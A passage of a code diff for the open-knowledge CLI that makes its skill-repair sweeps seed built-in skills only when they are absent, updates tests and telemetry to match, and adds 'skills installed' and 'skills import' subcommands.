@@ -416,7 +420,7 @@ describe('repairSkills — project sweep create-if-wired gate', () => {
}
});
- it('refreshes (reclaimed) rather than re-creating when SKILL.md already exists and is wired', async () => {
+ it('leaves an existing SKILL.md present, not re-created, even when wired', async () => {
const claudeDest = join(scratch.project, '.claude', 'skills', PROJECT_SKILL_DIR_NAME);
writeStaleSkillFiles(claudeDest, 'wired-refresh');
writeFileSync(join(scratch.project, '.mcp.json'), OK_WIRED_MCP_JSON);
@@ -437,9 +441,10 @@ describe('repairSkills — project sweep create-if-wired gate', () => {
if (result.status !== 'done' || result.project.outcome !== 'done')
throw new Error('unreachable');
- expect(result.project.entries.find((e) => e.editorId === 'claude')?.outcome).toBe('reclaimed');
- expect(readFileSync(join(claudeDest, 'SKILL.md'), 'utf-8')).toContain('bundled-9.9.9-content');
- expect(existsSync(join(claudeDest, 'leftover.md'))).toBe(false);
+ expect(result.project.entries.find((e) => e.editorId === 'claude')?.outcome).toBe('present');
+ // Seed-if-absent: existing content preserved (updates flow through skills.sh).
+ expect(readFileSync(join(claudeDest, 'SKILL.md'), 'utf-8')).toBe('stale-wired-refresh');
+ expect(existsSync(join(claudeDest, 'leftover.md'))).toBe(true);
});
it('refuses to create through a host dir symlink escaping the project (create path)', async () => {
@@ -580,11 +585,11 @@ describe('repairSkills — user sweep version gate (AC-B1, AC-B2, AC-B3, AC-B4)'
});
it('mixed decision: the declined bundle is removed while the enabled bundle still installs', async () => {
- // Seed both on disk, then decline ONLY write-skill. discovery must install
- // (version mismatch) and write-skill must be torn down — the two gates run
- // independently per bundle.
- for (const name of ['open-knowledge-discovery', 'open-knowledge-write-skill']) {
- const dir = join(scratch.home, '.agents', 'skills', name);
+ // Seed ONLY write-skill (the declined one) on disk; leave discovery absent
+ // so seed-if-absent freshly writes it. discovery must install and write-skill
+ // must be torn down — the two gates run independently per bundle.
+ {
+ const dir = join(scratch.home, '.agents', 'skills', 'open-knowledge-write-skill');
mkdirSync(dir, { recursive: true });
writeFileSync(join(dir, 'SKILL.md'), 'preexisting');
}
@@ -612,11 +617,9 @@ describe('repairSkills — user sweep version gate (AC-B1, AC-B2, AC-B3, AC-B4)'
if (result.status !== 'done' || result.user.outcome !== 'done') throw new Error('unreachable');
expect(removals).toEqual(['write-skill']);
- expect(
- result.user.entries.some(
- (e) => e.kind === 'central' && (e.outcome === 'written' || e.outcome === 'overwritten'),
- ),
- ).toBe(true);
+ expect(result.user.entries.some((e) => e.kind === 'central' && e.outcome === 'written')).toBe(
+ true,
+ );
expect(written).toHaveLength(1);
});
@@ -1148,7 +1151,7 @@ describe('repairSkills — JSONL telemetry parity with Desktop', () => {
expect(recordedEvents).toHaveLength(0);
});
- it('emits outcome=failed reason=no-hosts-installed when central fails AND no per-host dirs exist', async () => {
+ it('emits outcome=failed reason=central-write-failed when central fails AND no per-host dirs exist', async () => {
// Strictly synthetic existsSync — only paths we name as "present" return
// true. Lets the test assert "no host dirs visible" deterministically
// without depending on what the central-write side effects leave on disk.
@@ -1195,11 +1198,11 @@ describe('repairSkills — JSONL telemetry parity with Desktop', () => {
// No host dirs are present, so every host (claude, cursor, codex) hits
// skipped-host-absent. The only failure is the central write itself, so
- // `no-hosts-installed` is the precise reason.
+ // `central-write-failed` is the precise reason.
expect(presentPaths.size).toBe(0); // sanity: no host dirs marked present
expect(recordedEvents).toHaveLength(1);
expect(recordedEvents[0]?.outcome).toBe('failed');
- expect(recordedEvents[0]?.reason).toBe('no-hosts-installed');
+ expect(recordedEvents[0]?.reason).toBe('central-write-failed');
});
it('emits outcome=failed reason=all-writes-failed when central AND per-host writes all throw', async () => {
@@ -1290,7 +1293,7 @@ describe('formatRepairSkillsResult — done-branch stdout formatting', () => {
project: {
outcome: 'done',
entries: [
- { editorId: 'claude', hostDir: '.claude', path: '/x', outcome: 'reclaimed' },
+ { editorId: 'claude', hostDir: '.claude', path: '/x', outcome: 'present' },
{ editorId: 'cursor', hostDir: '.cursor', path: '/y', outcome: 'no-token' },
{
editorId: 'codex',
@@ -1311,7 +1314,7 @@ describe('formatRepairSkillsResult — done-branch stdout formatting', () => {
editorId: 'claude',
hostDir: '.claude',
path: '/c',
- outcome: 'overwritten',
+ outcome: 'written',
},
{
kind: 'host',
@@ -1331,8 +1334,8 @@ describe('formatRepairSkillsResult — done-branch stdout formatting', () => {
},
});
expect(out).toContain('Skill reclaim complete.');
- expect(out).toContain('Project: 1 reclaimed, 0 created, 1 no-token, 1 failed.');
- expect(out).toContain('User (9.9.9): 2 written, 2 skipped, 0 failed.');
+ expect(out).toContain('Project: 1 present, 0 created, 1 no-token, 1 failed.');
+ expect(out).toContain('User (9.9.9): 2 written, 0 present, 2 skipped, 0 failed.');
});
it('renders skip reason when the user sweep version-skips', () => {
@@ -1374,7 +1377,7 @@ describe('repairSkillsResultExitCode (PR feedback: standalone exit code mapping)
editorId: 'claude',
hostDir: '.claude',
path: '/tmp/x',
- outcome: opts.projectFailed ? 'failed' : 'reclaimed',
+ outcome: opts.projectFailed ? 'failed' : 'created',
...(opts.projectFailed ? { error: 'simulated' } : {}),
},
],
@@ -1526,16 +1529,15 @@ describe('repairSkills — symlink-escape guard (parity with writeProjectSkill)'
rmSync(escapeRoot, { recursive: true, force: true });
});
- it('refuses to rewrite when a host dir is a symlink escaping the project root', async () => {
- // Plant `.claude` as a symlink to a directory outside the project, and
- // pre-create a SKILL.md inside that escape target so the no-create gate
- // is satisfied (this is the bait an attacker would set).
+ it('refuses to create through a host dir that is a symlink escaping the project root', async () => {
+ // Plant `.claude` as a symlink to a directory outside the project, wire the
+ // editor (so the create path runs — seed-if-absent leaves the skill ABSENT
+ // there), and confirm the symlink-escape guard fires before any write.
const realFs = await import('node:fs');
const escapeTarget = join(escapeRoot, 'evil-claude');
- mkdirSync(join(escapeTarget, 'skills', PROJECT_SKILL_DIR_NAME), { recursive: true });
- writeFileSync(join(escapeTarget, 'skills', PROJECT_SKILL_DIR_NAME, 'SKILL.md'), 'bait');
-
+ mkdirSync(escapeTarget, { recursive: true });
realFs.symlinkSync(escapeTarget, join(scratch.project, '.claude'));
+ writeFileSync(join(scratch.project, '.mcp.json'), OK_WIRED_MCP_JSON);
const witnessFile = join(escapeTarget, 'witness.txt');
writeFileSync(witnessFile, 'should-not-be-touched');
diff --git a/packages/cli/src/commands/repair-skills.ts b/packages/cli/src/commands/repair-skills.ts
index e714da451..2b07d9a4d 100644
--- a/packages/cli/src/commands/repair-skills.ts
+++ b/packages/cli/src/commands/repair-skills.ts
@@ -1,22 +1,23 @@
/**
- * CLI parity for the Desktop's skill-reclaim sweeps:
- * - `reclaimProjectSkillsOnProjectOpen` (refresh existing SKILL.md + create
- * for OK-wired editors; here it is always create-enabled because the sweep
- * only ever runs inside a confirmed `.ok/` project)
- * - `reclaimUserSkillsOnLaunch` (force-write user-global central + per-host)
+ * CLI parity for the Desktop's skill-reclaim sweeps, both SEED-IF-ABSENT:
+ * - `reclaimProjectSkillsOnProjectOpen` (leave an existing SKILL.md untouched;
+ * create one for an OK-wired editor that has none — here always create-
+ * enabled because the sweep only ever runs inside a confirmed `.ok/` project)
+ * - `reclaimUserSkillsOnLaunch` (seed the user-global central + per-host dirs
+ * only when absent)
*
- * Why this exists: a teammate using only `@inkeep/open-knowledge` (no
- * Desktop install) sees `SKILL.md` written once by `ok init` and never
- * refreshed. The Desktop already has these two sweeps; this is the CLI
- * port. Wired into `bootStartServer` and exposed as `ok repair-skills` for
- * explicit invocation. Reference: packages/desktop/src/main/skill-reclaim.ts.
+ * Why this exists: a teammate using only `@inkeep/open-knowledge` (no Desktop
+ * install) needs the built-in skills present without a Desktop launch. The
+ * built-ins are seeded when missing and then left alone — a present copy may be
+ * a user-applied skills.sh update, so updates flow through the manual "update
+ * available" path, never a force-refresh. Wired
+ * into `bootStartServer` and exposed as `ok repair-skills` for explicit
+ * invocation. Reference: packages/desktop/src/main/skill-reclaim.ts.
*
- * Version-gate asymmetry with Desktop: the user-scope sweep here checks
- * `~/.ok/skill-state.yml`'s `cli-hosts` entry and skips when the recorded
- * version equals the bundled version. Desktop force-writes every launch.
- * Justified by invocation frequency — `ok start` runs many times per day
- * vs. an Electron app launching 1-2 times. The project-scope sweep is NOT
- * version-gated (drift via manual edits can outlast a version bump).
+ * The user-scope sweep records `~/.ok/skill-state.yml`'s `cli-hosts` entry on a
+ * clean reconcile and skips early when the recorded version equals the bundled
+ * version AND every enabled built-in is on disk. The project-scope sweep is NOT
+ * version-gated (a deleted project skill must re-seed regardless).
*/
import {
existsSync as fsExistsSync,
@@ -181,11 +182,11 @@ export interface RepairSkillsContext {
confirmLegacyCleanup?: (plan: LegacyFanoutSweepPlan) => Promise<boolean>;
}
-export type ProjectSkillOutcome = 'no-token' | 'reclaimed' | 'created' | 'failed';
-export type UserSkillCentralOutcome = 'written' | 'overwritten' | 'failed';
+export type ProjectSkillOutcome = 'no-token' | 'present' | 'created' | 'failed';
+export type UserSkillCentralOutcome = 'written' | 'skipped-present' | 'failed';
export type UserSkillHostOutcome =
| 'written'
- | 'overwritten'
+ | 'skipped-present'
| 'skipped-host-absent'
| 'skipped-collapsed-with-central'
| 'failed';
@@ -284,9 +285,9 @@ function copyDirContents(sourceDir: string, destDir: string, fs: RepairSkillsFsO
/**
* Install ONE user-global bundle into the central store + each per-host dir,
* under its own `bundleDirName`. Returns the per-write entries and whether the
- * CENTRAL write landed (the version-advance gate keys off every bundle's
- * central). Looped over `USER_GLOBAL_BUNDLE_IDS` by `runUserSweep` so each
- * user-global built-in (discovery + write-skill) is force-installed.
+ * CENTRAL write landed (a fresh seed, for the outcome telemetry). Looped over
+ * `USER_GLOBAL_BUNDLE_IDS` by `runUserSweep` so each user-global built-in
+ * (discovery + write-skill) is seeded when absent.
*/
function installUserBundleToHostDirs(
home: string,
@@ -298,27 +299,35 @@ function installUserBundleToHostDirs(
): { entries: UserSkillEntry[]; centralWritten: boolean } {
const entries: UserSkillEntry[] = [];
const centralDest = join(home, '.agents', 'skills', bundleDirName);
- const centralExistedBefore = fs.existsSync(centralDest);
let centralWritten = false;
- try {
- replaceDir(sourceDir, centralDest, fs);
- centralWritten = true;
- entries.push({
- kind: 'central',
- path: centralDest,
- outcome: centralExistedBefore ? 'overwritten' : 'written',
- });
- logger({
- event: 'user-skill-reclaim-central-written',
- scope: 'user',
- path: centralDest,
- preexisting: centralExistedBefore,
- version,
- });
- } catch (err) {
- const error = err instanceof Error ? err.message : String(err);
- entries.push({ kind: 'central', path: centralDest, outcome: 'failed', error });
- logger({ event: 'user-skill-reclaim-central-failed', scope: 'user', path: centralDest, error });
+ // SEED-IF-ABSENT: guarantee the built-in is PRESENT
+ // but never OVERWRITE an existing copy — that copy may be a user-applied
+ // skills.sh update. Updates flow through the manual "update available" path,
+ // not this sweep. Matches the desktop reclaim's gate exactly.
+ if (fs.existsSync(centralDest)) {
+ entries.push({ kind: 'central', path: centralDest, outcome: 'skipped-present' });
+ } else {
+ try {
+ replaceDir(sourceDir, centralDest, fs);
+ centralWritten = true;
+ entries.push({ kind: 'central', path: centralDest, outcome: 'written' });
+ logger({
+ event: 'user-skill-reclaim-central-written',
+ scope: 'user',
+ path: centralDest,
+ preexisting: false,
+ version,
+ });
+ } catch (err) {
+ const error = err instanceof Error ? err.message : String(err);
+ entries.push({ kind: 'central', path: centralDest, outcome: 'failed', error });
+ logger({
+ event: 'user-skill-reclaim-central-failed',
+ scope: 'user',
+ path: centralDest,
+ error,
+ });
+ }
}
for (const host of HOSTS_WITH_USER_SKILL_DIR) {
@@ -347,7 +356,17 @@ function installUserBundleToHostDirs(
});
continue;
}
- const existedBefore = fs.existsSync(hostDest);
+ // Seed-if-absent per host too: an existing host copy is left as-is.
+ if (fs.existsSync(hostDest)) {
+ entries.push({
+ kind: 'host',
+ editorId: host.editorId,
+ hostDir: host.hostDir,
+ path: hostDest,
+ outcome: 'skipped-present',
+ });
+ continue;
+ }
try {
replaceDir(sourceDir, hostDest, fs);
entries.push({
@@ -355,7 +374,7 @@ function installUserBundleToHostDirs(
editorId: host.editorId,
hostDir: host.hostDir,
path: hostDest,
- outcome: existedBefore ? 'overwritten' : 'written',
+ outcome: 'written',
});
logger({
event: 'user-skill-reclaim-host-written',
@@ -363,7 +382,7 @@ function installUserBundleToHostDirs(
editorId: host.editorId,
hostDir: host.hostDir,
path: hostDest,
- preexisting: existedBefore,
+ preexisting: false,
version,
});
} catch (err) {
@@ -447,21 +466,27 @@ function runProjectSweep(
const dest = join(projectDir, host.hostDir, 'skills', PROJECT_SKILL_DIR_NAME);
const skillFile = join(dest, 'SKILL.md');
const skillExists = fs.existsSync(skillFile);
- // Create only when the editor is OK-wired for this project. The config read
- // is skipped on the refresh path. The host's `editorId` is a valid
- // `EDITOR_TARGETS` key by the coverage meta-test, so the lookup +
- // `projectConfigPath` resolution reuse the single source of truth (no
- // duplicated per-editor path table).
+ // Seed-if-absent: an existing project skill is left untouched (a pulled/
+ // shared project never silently changes; updates flow through skills.sh).
+ if (skillExists) {
+ entries.push({
+ editorId: host.editorId,
+ hostDir: host.hostDir,
+ path: dest,
+ outcome: 'present',
+ });
+ continue;
+ }
+ // Create only when the editor is OK-wired for this project. The host's
+ // `editorId` is a valid `EDITOR_TARGETS` key by the coverage meta-test, so
+ // the lookup + `projectConfigPath` resolution reuse the single source of
+ // truth (no duplicated per-editor path table).
const projectConfigPath =
EDITOR_TARGETS[host.editorId as EditorId]?.projectConfigPath?.(projectDir);
- const wired = !skillExists && editorWiredForOk(projectConfigPath, fs);
- if (!skillExists && !wired) {
- // Three scenarios surface here: (a) greenfield host that never ran
- // `ok init` AND isn't OK-wired — nothing to do; (b) a host wired for some
- // OTHER editor's MCP but not this one — also nothing; (c) the rare torn
- // case — a prior `replaceDir` crashed between `rmSync(dest)` and
- // `copyDirContents`, leaving the destination absent while the config
- // still carries the marker (this re-creates it via the `wired` path).
+ const wired = editorWiredForOk(projectConfigPath, fs);
+ if (!wired) {
+ // Greenfield host that never ran `ok init` AND isn't OK-wired, or a host
+ // wired for some OTHER editor's MCP but not this one — nothing to do.
entries.push({
editorId: host.editorId,
hostDir: host.hostDir,
@@ -486,15 +511,14 @@ function runProjectSweep(
// and the create path authors a fresh dir, so the guard is mandatory.
assertProjectPathSafe(dest, projectDir);
replaceDir(sourceDir, dest, fs);
- const outcome: ProjectSkillOutcome = skillExists ? 'reclaimed' : 'created';
entries.push({
editorId: host.editorId,
hostDir: host.hostDir,
path: dest,
- outcome,
+ outcome: 'created',
});
logger({
- event: skillExists ? 'project-skill-reclaim-reclaimed' : 'project-skill-reclaim-created',
+ event: 'project-skill-reclaim-created',
scope: 'project',
editorId: host.editorId,
path: dest,
@@ -679,7 +703,7 @@ async function runUserSweep(
// excluded by choice, not failure, so they don't block the advance.
const allBundlesResolved = resolvedBundles.length === USER_GLOBAL_BUNDLE_IDS.length;
// (2) Every gated bundle's central write landed.
- let allGatedCentralsWritten = true;
+ const bundleResults: Array<{ id: BundleId; centralWritten: boolean }> = [];
for (const { id, sourceDir } of gatedBundles) {
const result = installUserBundleToHostDirs(
home,
@@ -690,18 +714,17 @@ async function runUserSweep(
bundledVersion,
);
entries.push(...result.entries);
- if (!result.centralWritten) allGatedCentralsWritten = false;
+ bundleResults.push({ id, centralWritten: result.centralWritten });
}
- // Gate version advance on EVERY bundle's central write landing — the same
- // central-gate rationale, generalized across the bundle set. A partial
- // failure leaves the version unrecorded so the next boot retries; per-host
- // writes are idempotent (`replaceDir`). The Desktop has the same gate shape
- // but force-writes every launch (no version gate) so it self-heals.
- const anyCentralWritten = entries.some(
- (e) => e.kind === 'central' && (e.outcome === 'written' || e.outcome === 'overwritten'),
- );
- if (allBundlesResolved && allGatedCentralsWritten && anyCentralWritten) {
+ // Seed-if-absent: a present built-in is left untouched (updates flow through
+ // the skills.sh path, not this sweep). A clean reconcile — every enabled
+ // built-in now present, whether freshly seeded or already there, with no
+ // central-write failure — advances the recorded version so the version
+ // fast-path can skip next launch. Only a genuine central-write failure holds
+ // the version back for a retry; per-host failures don't roll back.
+ const anyCentralFailed = entries.some((e) => e.kind === 'central' && e.outcome === 'failed');
+ if (allBundlesResolved && !anyCentralFailed) {
let stateWriteError: string | null = null;
try {
await deps.writeRecordedVersion(home, bundledVersion);
@@ -719,23 +742,25 @@ async function runUserSweep(
error: stateWriteError,
});
}
- // One outcome event per installed bundle, gated on the state-file write —
- // an `installed` event paired with a stale `skill-state.yml` would mislead
- // any operator chasing "did the install actually land?".
- for (const { id } of gatedBundles) {
+ // One outcome event per bundle, gated on the state-file write: `installed`
+ // for a fresh seed, `skip-current` for a built-in that was already present.
+ for (const { id, centralWritten } of bundleResults) {
recordEventSoft({
ts: nowIso(),
surface: 'cli-start',
target: 'cli-hosts',
bundle: id,
- outcome: stateWriteError === null ? 'installed' : 'failed',
+ outcome:
+ stateWriteError !== null ? 'failed' : centralWritten ? 'installed' : 'skip-current',
version: bundledVersion,
...(stateWriteError === null ? {} : { reason: `state-write-failed:${stateWriteError}` }),
});
}
} else {
- // central write failed for at least one bundle. Split the reason by whether
- // any HOST write actually threw vs every host being absent/collapsed.
+ // Two independent causes land here and the reason has to name which: a
+ // bundle whose assets never resolved (nothing was even attempted for it —
+ // partially-present assets, so retry next boot) or a central write that
+ // threw. The write case then splits on whether any HOST write also threw.
const anyHostFailed = entries.some((e) => e.kind === 'host' && e.outcome === 'failed');
recordEventSoft({
ts: nowIso(),
@@ -743,7 +768,11 @@ async function runUserSweep(
target: 'cli-hosts',
outcome: 'failed',
version: bundledVersion,
- reason: anyHostFailed ? 'all-writes-failed' : 'no-hosts-installed',
+ reason: !allBundlesResolved
+ ? 'bundle-unresolved'
+ : anyHostFailed
+ ? 'all-writes-failed'
+ : 'central-write-failed',
});
}
@@ -755,12 +784,13 @@ async function runUserSweep(
* bundled version. Invoked from `bootStartServer` on every `ok start` boot
* and from the standalone `ok repair-skills` subcommand.
*
- * Project sweep: refreshes a host's SKILL.md when one already exists, and
- * creates it for any host whose project MCP config is OK-wired (carries
- * `# ok-mcp-v1`). Greenfield / non-OK-wired hosts untouched.
+ * Project sweep: leaves a host's SKILL.md untouched when one already exists,
+ * and creates it for any host whose project MCP config is OK-wired (carries
+ * `# ok-mcp-v1`) but has none. Greenfield / non-OK-wired hosts untouched.
*
- * User sweep: version-gated against `~/.ok/skill-state.yml`'s `cli-hosts`
- * entry — skipped when the recorded version equals the bundled version.
+ * User sweep: seed-if-absent, version-gated against `~/.ok/skill-state.yml`'s
+ * `cli-hosts` entry — skipped early when the recorded version equals the bundled
+ * version and every enabled built-in is already on disk.
*
* `OK_RECLAIM_DISABLE=1` short-circuits the entire sweep. Mirrors the env
* gate on the desktop's `reclaimUserSkillsOnLaunch` /
@@ -854,26 +884,25 @@ function formatRepairSkillsResult(result: RepairSkillsResult): string {
}
const lines: string[] = ['Skill reclaim complete.'];
if (result.project.outcome === 'done') {
- const reclaimed = result.project.entries.filter((e) => e.outcome === 'reclaimed').length;
+ const present = result.project.entries.filter((e) => e.outcome === 'present').length;
const created = result.project.entries.filter((e) => e.outcome === 'created').length;
const noToken = result.project.entries.filter((e) => e.outcome === 'no-token').length;
const failed = result.project.entries.filter((e) => e.outcome === 'failed').length;
lines.push(
- ` Project: ${reclaimed} reclaimed, ${created} created, ${noToken} no-token, ${failed} failed.`,
+ ` Project: ${present} present, ${created} created, ${noToken} no-token, ${failed} failed.`,
);
} else {
lines.push(` Project: skipped (${result.project.reason}).`);
}
if (result.user.outcome === 'done') {
- const written = result.user.entries.filter(
- (e) => e.outcome === 'written' || e.outcome === 'overwritten',
- ).length;
+ const written = result.user.entries.filter((e) => e.outcome === 'written').length;
+ const present = result.user.entries.filter((e) => e.outcome === 'skipped-present').length;
const skipped = result.user.entries.filter(
(e) => e.outcome === 'skipped-host-absent' || e.outcome === 'skipped-collapsed-with-central',
).length;
const failed = result.user.entries.filter((e) => e.outcome === 'failed').length;
lines.push(
- ` User (${result.user.version}): ${written} written, ${skipped} skipped, ${failed} failed.`,
+ ` User (${result.user.version}): ${written} written, ${present} present, ${skipped} skipped, ${failed} failed.`,
);
} else {
lines.push(` User: skipped (${result.user.reason}).`);
diff --git a/packages/cli/src/commands/seed.test.ts b/packages/cli/src/commands/seed.test.ts
index e28201e49..17a2e22a4 100644
--- a/packages/cli/src/commands/seed.test.ts
+++ b/packages/cli/src/commands/seed.test.ts
@@ -133,6 +133,23 @@ describe('runSeed — no-op', () => {
expect(second.exitCode).toBe(0);
expect(second.message).toContain('already seeded');
});
+
+ test('is NOT a no-op when folders exist but a pack skill is missing', async () => {
+ // A project whose pack skill was deleted has every folder yet no skill.
+ // Re-seeding must re-author it, not report "already seeded, nothing to do".
+ // Pack skills land in-place (editor skill dirs) with the legacy `.ok/skills`
+ // store still honored — remove every home so the skill is truly gone.
+ scaffoldOkDir(testDir);
+ await runSeed({ cwd: testDir, yes: true });
+ rmSync(join(testDir, OK_DIR, 'skills'), { recursive: true, force: true });
+ for (const dir of ['.agents', '.claude', '.cursor', '.codex', '.opencode', '.pi']) {
+ rmSync(join(testDir, dir), { recursive: true, force: true });
+ }
+
+ const second = await runSeed({ cwd: testDir, dryRun: true });
+ expect(second.status).not.toBe('no-op');
+ expect(second.plan?.packSkills?.some((s) => s.pending)).toBe(true);
+ });
});
describe('runSeed — prerequisite', () => {
diff --git a/packages/cli/src/commands/seed.ts b/packages/cli/src/commands/seed.ts
index 8a48f70aa..fca384636 100644
--- a/packages/cli/src/commands/seed.ts
+++ b/packages/cli/src/commands/seed.ts
@@ -99,7 +99,10 @@ export async function runSeed(opts: SeedCommandOptions = {}): Promise<SeedComman
};
}
- if (plan.created.length === 0) {
+ // A pending pack skill is outstanding work even when every folder/template
+ // already exists (see ScaffoldPlan.packSkills) — `applySeed` would still author
+ // and install it, so this is not a no-op. SeedDialog folds the same two signals.
+ if (plan.created.length === 0 && !plan.packSkills?.some((s) => s.pending)) {
const packName = STARTER_PACKS[packId].name;
return {
status: 'no-op',
@@ -156,12 +159,13 @@ export async function runSeed(opts: SeedCommandOptions = {}): Promise<SeedComman
const packName = STARTER_PACKS[packId].name;
- // `applySeed` installs the pack's project-local skill for every editor set up
+ // `applySeed` installs the pack's project-local skills for every editor set up
// for this project (single install site shared with the desktop IPC + HTTP
- // seed paths). Surface which editors got it.
+ // seed paths). Surface which editors got them. A decomposed pack ships several
+ // skills; `packSkillsInstalled` names the editors, not the skills.
const skillLine =
applyResult.packSkillsInstalled.length > 0
- ? `\n${dim(`Installed the ${packName} skill for: ${applyResult.packSkillsInstalled.join(', ')}`)}`
+ ? `\n${dim(`Installed the ${packName} skills for: ${applyResult.packSkillsInstalled.join(', ')}`)}`
: '';
return {
diff --git a/packages/cli/src/commands/skills.ts b/packages/cli/src/commands/skills.ts
index 86d6f3a9e..34d79a9be 100644
--- a/packages/cli/src/commands/skills.ts
+++ b/packages/cli/src/commands/skills.ts
@@ -1,20 +1,18 @@
/**
- * `ok skills manage --on | --off | --status` — the headless opt-in for
- * project-level skill management, mirroring the Desktop / `ok ui` prompt.
- *
- * `--on` flips the project to OK-managed (records `manageEditorSkills: true` in
- * `<project>/.ok/local/skill-management.json`): on the next `ok start` / project
- * open, `reconcileSkillInstalls` imports existing editor skills into `.ok/skills`
- * and adopts newly-installed ones thereafter. `--off` is non-destructive — it
- * stops future adoption; existing `.ok/skills` content + editor symlinks stay.
- * Skills that already have a `.ok/skills` entry are managed regardless of this
- * flag.
+ * `ok skills` — headless skill utilities: `installed` (read-only cross-agent
+ * enumeration) and `import` (bring a skill in as versioned content). Skills OK
+ * finds in editor dirs are versioned in place automatically — there
+ * is no manage opt-in.
*/
import { resolve as resolvePath } from 'node:path';
-import { isProjectSkillManaged, writeSkillManagement } from '@inkeep/open-knowledge-server';
+import { isDetectedSkillInProject } from '@inkeep/open-knowledge-core';
+import { resolveProjectIdentity } from '@inkeep/open-knowledge-core/shadow-repo-layout';
+import { enumerateInstalledSkills } from '@inkeep/open-knowledge-core/skills-catalog';
+import { findEnclosingProjectRoot, resolveLockDir } from '@inkeep/open-knowledge-server';
import { Command } from 'commander';
import { accent, dim, error as errorColor, info, success } from '../ui/colors.ts';
+import { inspectLock } from './lock-state.ts';
export function skillsCommand(): Command {
const skills = new Command('skills').description(
@@ -22,59 +20,107 @@ export function skillsCommand(): Command {
);
skills
- .command('manage')
+ .command('installed')
+ .description('List every skill installed across all your agents (read-only).')
+ .option('--json', 'Emit the raw enumeration as JSON.')
+ .action((opts: { json?: boolean }) => {
+ // Same project/global classifier as the sidebar + adopt: resolve the
+ // enclosing OK project (worktree→parent identity), scan its harness dirs,
+ // and drop skills bound to a different project. Falls back to cwd when not
+ // inside a project.
+ const cwd = resolvePath(process.cwd());
+ const identity = resolveProjectIdentity(findEnclosingProjectRoot(cwd)?.rootPath ?? cwd);
+ const enumerated = enumerateInstalledSkills({ projectDir: identity });
+ const result = {
+ ...enumerated,
+ skills: enumerated.skills.filter((s) => isDetectedSkillInProject(s.provenance, identity)),
+ };
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify(result, null, 2)}\n`);
+ return;
+ }
+ if (result.skills.length === 0) {
+ process.stdout.write(`${dim('No installed skills found across any agent.')}\n`);
+ return;
+ }
+ process.stdout.write(`${accent(`${result.skills.length} installed skill(s):`)}\n`);
+ for (const s of result.skills) {
+ const ver = s.provenance.version ? dim(` v${s.provenance.version}`) : '';
+ const cap = [
+ s.inert.commands && 'commands',
+ s.inert.hooks && 'hooks',
+ s.inert.mcp && 'mcp',
+ ].filter(Boolean);
+ const capStr = cap.length > 0 ? dim(` [${cap.join(', ')}]`) : '';
+ process.stdout.write(
+ ` ${success(s.name)}${ver} ${dim(s.sourceHarnesses.join(', '))}${capStr}\n`,
+ );
+ }
+ process.stdout.write(`\n${accent(`${result.packs.length} pack(s):`)}\n`);
+ for (const p of result.packs) {
+ process.stdout.write(
+ ` ${info(p.name)} ${dim(`v${p.version}`)} — ${p.skills.length} skill(s)\n`,
+ );
+ }
+ });
+
+ skills
+ .command('import <source>')
.description(
- 'Control whether OK adopts your editor skills into this project. Default: off — OK only manages skills already under .ok/skills.',
- )
- .option(
- '--on',
- 'Make this project OK-managed: import existing editor skills and adopt new ones.',
- )
- .option(
- '--off',
- 'Stop adopting editor skills (non-destructive — existing .ok/skills + symlinks stay).',
+ 'Import a skill into this project as versioned content (github owner/repo, a git URL, or a local path).',
)
- .option('--status', 'Print the current setting.')
- .action(async (opts: { on?: boolean; off?: boolean; status?: boolean }) => {
- // No subcommand-level `--cwd`; the program-level `--cwd` preAction hook has
- // already chdir'd, so process.cwd() reflects the user's project.
- const projectDir = resolvePath(process.cwd());
- const chosen = [opts.on, opts.off, opts.status].filter(Boolean).length;
- if (chosen !== 1) {
+ .option('--skill <name>', 'Pick one skill from a multi-skill source.')
+ .option('--scope <scope>', 'project (default) or global.', 'project')
+ .action(async (source: string, opts: { skill?: string; scope?: string }) => {
+ // Import WRITES through the CRDT/attribution spine, so it needs a running
+ // server for this project (unlike the read-only `installed` subcommand).
+ const lockDir = resolveLockDir(process.cwd());
+ const state = inspectLock(lockDir, 'server');
+ if (state.status !== 'alive') {
process.stderr.write(
- `${errorColor('Error:')} pass exactly one of --on, --off, --status.\n`,
+ `${errorColor('Error:')} no running Open Knowledge server for this project. Start it with ${accent('ok start')} and retry.\n`,
);
process.exitCode = 1;
return;
}
-
- if (opts.status) {
- // Effective state (honors the OK_RECLAIM_DISABLE / OK_SKILL_MANAGE env
- // overrides reconcile reads), not just the raw marker — this is the
- // surface people use to debug "why aren't my skills being adopted?".
- const managed = isProjectSkillManaged(projectDir);
- process.stdout.write(
- `Skill management for ${accent(projectDir)}: ${managed ? success('on') : dim('off (default)')}\n`,
- );
- return;
- }
-
- const manageEditorSkills = Boolean(opts.on);
+ let res: Response;
try {
- await writeSkillManagement(projectDir, { manageEditorSkills, surface: 'cli' });
+ res = await fetch(`http://127.0.0.1:${state.lock.port}/api/skill/import`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ source,
+ ...(opts.skill ? { skill: opts.skill } : {}),
+ scope: opts.scope === 'global' ? 'global' : 'project',
+ }),
+ });
} catch (err) {
const msg = err instanceof Error ? err.message : String(err);
- process.stderr.write(
- `${errorColor('Error:')} could not write skill-management marker: ${msg}\n`,
- );
+ process.stderr.write(`${errorColor('Error:')} could not reach the server: ${msg}\n`);
+ process.exitCode = 1;
+ return;
+ }
+ const body = (await res.json().catch(() => ({}))) as Record<string, unknown>;
+ if (!res.ok) {
+ const detail = (body.detail as string) ?? (body.title as string) ?? `HTTP ${res.status}`;
+ process.stderr.write(`${errorColor('Import failed:')} ${detail}\n`);
process.exitCode = 1;
return;
}
+ const name = body.name as string;
+ if (body.alreadyImported) {
+ process.stdout.write(`${info('Already imported:')} ${accent(name)} (identical content).\n`);
+ return;
+ }
+ const prov = (body.provenance ?? {}) as { source?: string; publisher?: string };
+ const renamed = body.collisionRenamedFrom as string | undefined;
process.stdout.write(
- manageEditorSkills
- ? `${success('OK now manages skills for this project.')} Existing editor skills are imported into ${accent('.ok/skills')} on the next ${accent('ok start')} / project open, and new ones adopted automatically.\n`
- : `${info('OK will no longer adopt editor skills here.')} Existing ${accent('.ok/skills')} content + symlinks are left intact.\n`,
+ `${success('Imported')} ${accent(name)}${renamed ? dim(` (renamed from ${renamed} — name was taken)`) : ''} from ${dim(prov.source ?? source)}${prov.publisher ? dim(` · ${prov.publisher}`) : ''}.\n` +
+ `${dim("Saved as versioned content in this project's skill home. Scripts shown, never run. Use the skill's install menu (or the install MCP verb) to add it to your other editors.")}\n`,
);
+ for (const w of (body.warnings as string[]) ?? []) {
